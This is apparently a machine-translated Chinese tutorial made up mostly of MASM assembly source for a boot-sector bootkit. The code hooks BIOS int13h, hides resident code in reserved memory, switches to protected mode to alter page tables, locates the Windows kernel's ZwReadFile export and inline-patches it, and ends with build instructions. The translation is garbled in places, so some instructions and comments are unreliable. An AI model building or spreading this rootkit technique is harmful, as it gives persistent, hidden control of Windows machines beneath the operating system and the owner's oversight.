Created:
Article attributes: original
Article submission: cheng5103 (cheng_5103_at_126.com)
Author: Cheng Songlin
QQ: 179641795
Email: cheng_5103@126.com
Note: you are welcome to repost it. Please repost the original source and author information. It is not easy to post an article. Please keep the author information.
. 586 P; ######################################## ################################
. Model tiny; ############ objective: to allow the program to permanently reside in the memory and monitor and read the memory data. ##################
; ******************************; # Step: hook layers, enter the protection mode. Open the page mode ........... ******************##
Code_sise equ 200 h; #1. BIOS layer: vector hook-> int19h (hook in it)-> int13h, intercepting data read from memory ##
Realcode segment byte use16; # refer to the BIOS embedded development tutorial. Hook int13h service can be extended on the DOS layer. Capture memory data ##
Codestart:; #2. int13h service: if it is a SCSI hard disk, load the SCSI driver, hook-> SCSI read Service (analyzed and loaded ##
CLI; # SCSI driver service file, PE export Hook method (Tutorial), so that the program continues to monitor the data read into the memory ##
Xor bx, BX; #3. WindowsNT layer: ntldr is loaded to the memory. If it is not a SCSI hard disk, int13h is used for ntldr read Operations ##
MoV SS, BX; # assign control to ntoskrnl (winnt kernel) after ntldr completes parameter configuration and protection mode switching )##
MoV sp, 7c00h; #4. ntoskrnl (module) loaded by hook ntldr. Available Method: inline Hook method (Note: Hook Point )##
MoV ds, BX; #5. Hook ntoskrnl service: zwreadfile API export function. Hook PE can be used to add inline hook .##
MoV ax, DS: [413 H]; #40: 13. Memory size stored in the BIOS data zone. Unit: KBS, #################################
And Al, not 3; # prevent code from running at the boundary of the page so that the code can continue to run after the pagination in Protected Mode ########
Sub ax, 4; # allocate 4 kb for our code (that is, the code on the previous page to prevent paging boundaries and exaggerated pages )####
MoV DS: [413 H], ax; ######################################## ################################
SHL ax, (10-4); ax * = 1024/16 (KBS-> linear address = KBS * 1024, segment: divided by 16)
MoV es, ax; reserved memory allocated; es: 0-> reserved memory address allocated
MoV ax, 0201 H
MoV BX, 200 h
MoV CX, 2
MoV dx, 0
INT 13 H
CLD;
MoV Si, 7c00h
XOR Di, di; the Code is copied to ES: di (in the allocated reserved memory). Note: The offset value changes after the copy. calculation method.
MoV CX, code_sise
Rep movsb; copy code to reserved memory
MoV eax, DS: [13 H * 4]; install our int13h code
MoV ES: [int13h-codestart], eax; Save the old int13 Vector Value
MoV word ptr ds: [13 H * 4], int13hook
MoV DS: [(13 H * 4) + 2], es; set our int13h Vector
STI
Push es
Push bootos
Retf
;**************
Bootos:
XOR ax, ax
MoV es, ax
MoV BX, 7c00h
MoV ax, 0201 H
MoV CX, 1
MoV dx, 80 h
INT 13 H
DB 0eah
Dd 7c00h; JMP far 0: 7c00h; boot System
; ######################################## ######################################## #############################
###### Nt loading module: 1. If it is not a SCSI hard disk, switch to the real mode if it is in protection mode. call BIOS int13h to read data and modify the read data for Hook operations ######
###### 2. SCSI hard disk: attach the SCSI driver in the int13h service first. modify the read data for Hook and so on ######
###### 3. Note: We can switch over when the protection mode is not in progress. obtains the modification page ing of the object. and modify gdt tables. in the protection mode, it is simpler ######
; ######################################## ######################################## #############################
; *********** **************************************** *******
Int13hook: ;###### this hard disk operation service is the key to our service resident in real mode ######
Pushf; There are instructions to change the flag register
Test ah, 0bdh; Whether to read data to the memory, Ah = 02, Ah = 42 h
JZ int13hook_readrequest
Popf
DB 0eah
Int13h dd? ; Jump to the old int13h service. Note: This method of saving data
Int13hook_readrequest:
Popf
Pushf
Call dword ptr Cs: [int13h]; call read of the old int13h Service
JC int13hook_ret; cf = 1, read failed to exit Service
CLI; Disable interrupt
Pushfd
Push FS
Pushad; protects the site
Call makefs4gbsegment; the returned FS segment can be 4 GB memory. EBX =.
############# Map the code to a linear address of 80000000 H + CS * 4, avoid NTS not mapped to memory reserved by our code ############
MoV eax, FS: [EBX + 800 H]; eax = Linear address up to 10 bits 400 h * 4 = 800 H, determine the location of the page Directory table pointed to in S3.
And eax, 0fffff000h; remove the obtained Level 2 page table attribute bit. eax = 80000000h linear address Level 2 page table physical address.
. If eax! = 0; the physical address of the second-level page table cannot be zero
XOR ECx, ECx
MoV CX, Cs; we directly map to the corresponding physical address
MoV edX, ECx; therefore, the location of the second-level page table is determined by the Cs value ..
SHL edX, 4; edX = the physical address of the code segment in the memory.
Or edX, 163 h; set the page property to: Existing and readable/written by users and Systems
SHR ECx, 8; CL = Location of the second-level page table
SHL ECx, 2; one page entry occupies 4 bytes in the page Directory table or in the page table. ECx = In the second-level page table
MoV FS: [eax + ECx], EDX; modify the ing of our code in the physical memory
MoV dword ptr fs: [eax], 103 h; Modify physical page 0 (that is, bios/DOS zone ing to 80000000 H)
. Endif; Note: winnt does not use bios/DOS pages, that is, physical pages 0)
; ######################################## ######################################## ###################
Call memscansapiaddr
. If EDI; ### find the API function address in the memory, eax-> zwreadfile ##
MoV ESI, myzwreadfilearg-code32start + code16size
. If dword ptr Cs: [esi] = 0; when the first hook is performed, the hook command is obtained.
MoV EBX, FS: [eax + 1]; # inline hook vulnerabilities in different versions of NT: Different zwreadfile function commands .##
MoV Cs: [esi], EBX; analysis found that zwreadfile starts with mov eax (not sure)
XOR edX, EDX
MoV edX, Cs; physical address of myzwreadfile in memory
SHL edX, 4; edX-> base address of the code segment (CS * 10 h)
Add edX, code16size; (EDX-> virtualcode-> myzwreadfile) <(eax-> zwreadfile)
MoV ECx, code32end-code32start; ECx = code length
MoV EBX, 600 h; EBX-> physical address copied
. While ECx; edX-> physical address before copy
MoV Al, FS: [edX]
MoV FS: [EBX], Al
INC edX
INC EBX
Dec ECx
. Endw
. Endif
MoV EBX, 600 h; copy the virtualcode to the physical address 600 h. This memory (physical page 0) won't be used by wintnt.
MoV byte ptr fs: [eax], 0e8h; # Use inline HOOK: Command e8h/XX: Call REL (rel = relative address )##
Add eax, 5 ;##### modify the five bytes occupied by the 32-bit relative offset command call rel ########
Sub EBX, eax; ##### calculate the number of relative offset bytes (relative transfer is divided into positive and negative directions. Here negative )###
MoV FS: [eax-4], EBX; #### fill in the calculated address to the hook location ####
. Endif
Int13hook_scan_done:
Popad
Pop FS
Popfd
STI
Int13hook_ret:
Retf 2
; **************************************** **************************************** ******************************
Makefs4gbsegment proc; ##### set the FS segment to allow DOS to access 4 GB memory using the FS segment ####
MoV ESI, 800 H; ##### returns both EBX = 375 so that DOS can change page ing ####
Sub eax, eax
MoV Cs: [Si], eax; mygdt start DS: [Si]
MoV Cs: [Si + 4], eax; null Descriptor
MoV ax, CS
SHL eax, 4; physical address of the code segment
Rol eax, 8; set the code segment descriptor
MoV Cs: [Si + 8 + 7], Al; the base address of the code segment is 8 bits
MoV Al, 9ah; executable readable code segment
Ror eax, 8; 24-bit lower is the base address of the code segment
MoV Cs: [Si + 8 + 2], eax
MoV word PTR Cs: [Si + 8], 0 ffffh; 16-bit low segment limit
MoV byte PTR Cs: [Si + 8 + 6], 0; Segment boundary 16 ~ 19-bit including-segment attribute height 4-bit
MoV dword ptr Cs: [Si + 8 + 8], 0 ffffh; set data segment descriptor
MoV dword ptr Cs: [Si + 8 + 8 + 4], 0cf9200h; Data Segment attribute and base address
MoV dword ptr Cs: [Si + 8 + 8 + 8], 0
MoV dword ptr Cs: [Si + 8 + 8 + 8 + 4], 0; empty descriptor mygdt end Cs: [4*8]
XOR eax, eax
MoV ax, CS
MoV Cs: [code_base-codestart], CS ;### Note: memory location of the variable ###
SHL eax, 4
Add eax, ESI; eax-> mygdt
MoV Cs: [Si + 8 + 8 + 8 + 8 + 2], eax; set the gdt start physical address to GDTR
MoV word PTR Cs: [Si + 8 + 8 + 8 + 8], 31; Set GDTR Boundary
Lgdt fword PTR Cs: [Si + 8 + 8 + 8]; set new GDTR (Cs: [Si + 8 + 8 + 8 + 8 + 8]) Note: the following commands must be shut down and interrupted:
In Al, 92 h
Or Al, 2
Out 92 h, Al; open the A20 address line
MoV eax, Cr0
Or Al, 1
MoV Cr0, eax; enters protection mode
DB 0eah; JMP 08: pm_service
DW pm_service; jump to protection mode Code Execution
DW 8; 8 code segment Selection Sub
Pm_service:
MoV ax, 16; 16 Data Segment Selection Sub (that is, the offset in mygdt)
MoV FS, ax; ***** ### FS-> protection mode data segment ###***
MoV EBX, H6; ***** ### EBX = 375 Note: it can only be obtained in protection mode ###***
MoV eax, Cr0
And Al, 0feh
MoV Cr0, eax; return real mode
DB 0eah; JMP seg real_service: Offset real_service
DW real_service-codestart; ### Note: memory location of the variable ###
Code_base DW 0
Real_service:; disable the A20 address line in Al, 92h | and Al, 0fdh | out 92 h, Al
RET
Makefs4gbsegment endp
; **************************************** **************************************** *********************
Org 1feh
DW 0aa55h; End of the first sector
; **************************************** **************************************** *********************
; ************** Brute-force Memory search PE image-> API (zwreadfile) Address, note: Entry EDI linear address in protection mode and so on! ********
Memscansapiaddr proc; entry: EDI-> memory start ECx = memory end value note: field not protected
Export: EDI-> image base, EBX-> PE Hook Point, eax = old function address EDI = 0, not found
MoV EDI, 400000 h; ##### analysis shows that the NT kernel base of each edition is within 400000 H ~ Higher versions within h ######
. While EDI <900000 h ;#@! * ## Memory end address note: the total memory size cannot be exceeded without paging. # * % ##
MoV eax, EDI; # To shorten the search time, note: Set the search range ##
Add eax, FS: [eax + 3ch]; eax-> PE Header
. If word ptr fs: [EDI]! = 5a4dh | dword ptr fs: [eax]! = 00004550 H | dword ptr fs: [eax + 78 H] = 0
Add EDI, 1000 h; EDI-> next module (loaded in pages)
. Continue; not (the PE image has an export function table)
. Endif
###### Find an image and export a function table: EDI-> image base, eax-> PE Header #####
MoV EBX, FS: [eax + 78 H]
Add EBX, EDI; EBX-> image_export_directory
MoV ECx, FS: [EBX + 18 h]; edX = Total number of functions exported by name
MoV eax, FS: [EBX + 20 h]; eax-> export the RVA of the Function Name and Address Table
Add eax, EDI; eax-> export function name address table
MoV EBX, FS: [EBX + 1ch]; EBX-> export the RVA of the function Address Table
Add EBX, EDI; EBX-> export function Address Table
And ECx, 0 ffffh; ##### it is found that WINXP/2003 loops are endless .######
. While ECx> 0
MoV ESI, FS: [eax]; ESI-> name of the current function in the output table RVA
And ESI, 0 ffffffh; ###### error detected on win2003 ######
Add ESI, EDI; ESI-> name of the current function in the output table
This method is suitable for the case where the API name is short. You can modify the code in 32-bit code and convert it into a common function.
. If dword ptr fs: [esi] = 6552775ah & dword ptr fs: [ESI + 4] = 69466461 H & Word ptr fs: [ESI + 8] = 656ch
MoV eax, FS: [EBX]
Add eax, EDI
RET
. Endif
Dec ECx
Add eax, 4; each function name address occupies 4 bytes
Add EBX, 4; each function address pointer occupies 4 bytes
. Endw
Add EDI, 1000 h; ##### EDI-> the next page. PE module (image) is always read into the memory by page as the base address (Boundary #####
. Endw
Xor edi, EDI; no exit found!
RET
Memscansapiaddr endp
Code16end:
Realcode ends
Code16size equ code16end-codestart; code16size-> virtualcode (relative offset)
; ***##################################### The above code works in, in real mode. ######################################** *
; **************************************** **************************************** *************************
Virtualcode segment byte use32; ######### code that can work in 32-bit protection mode #########
Code32start:
; ********************* Our zwreadfile function, which is provided for the experiment here! ******************************
Myzwreadfile proc; try to use relative addressing commands (call, JMP... and other commands) in memory addressing ).
MoV eax, 0; simulate the inline hook pattern. Different versions are different here.
Myzwreadfilearg equ $-4
RET
Myzwreadfile endp
Code32end:
; **************************************** **************************************** *************************
Virtualcode ends
End codestart
Compile ml AA. ASM Ren aa.com AA. IMG. The file can be debugged using wmware ....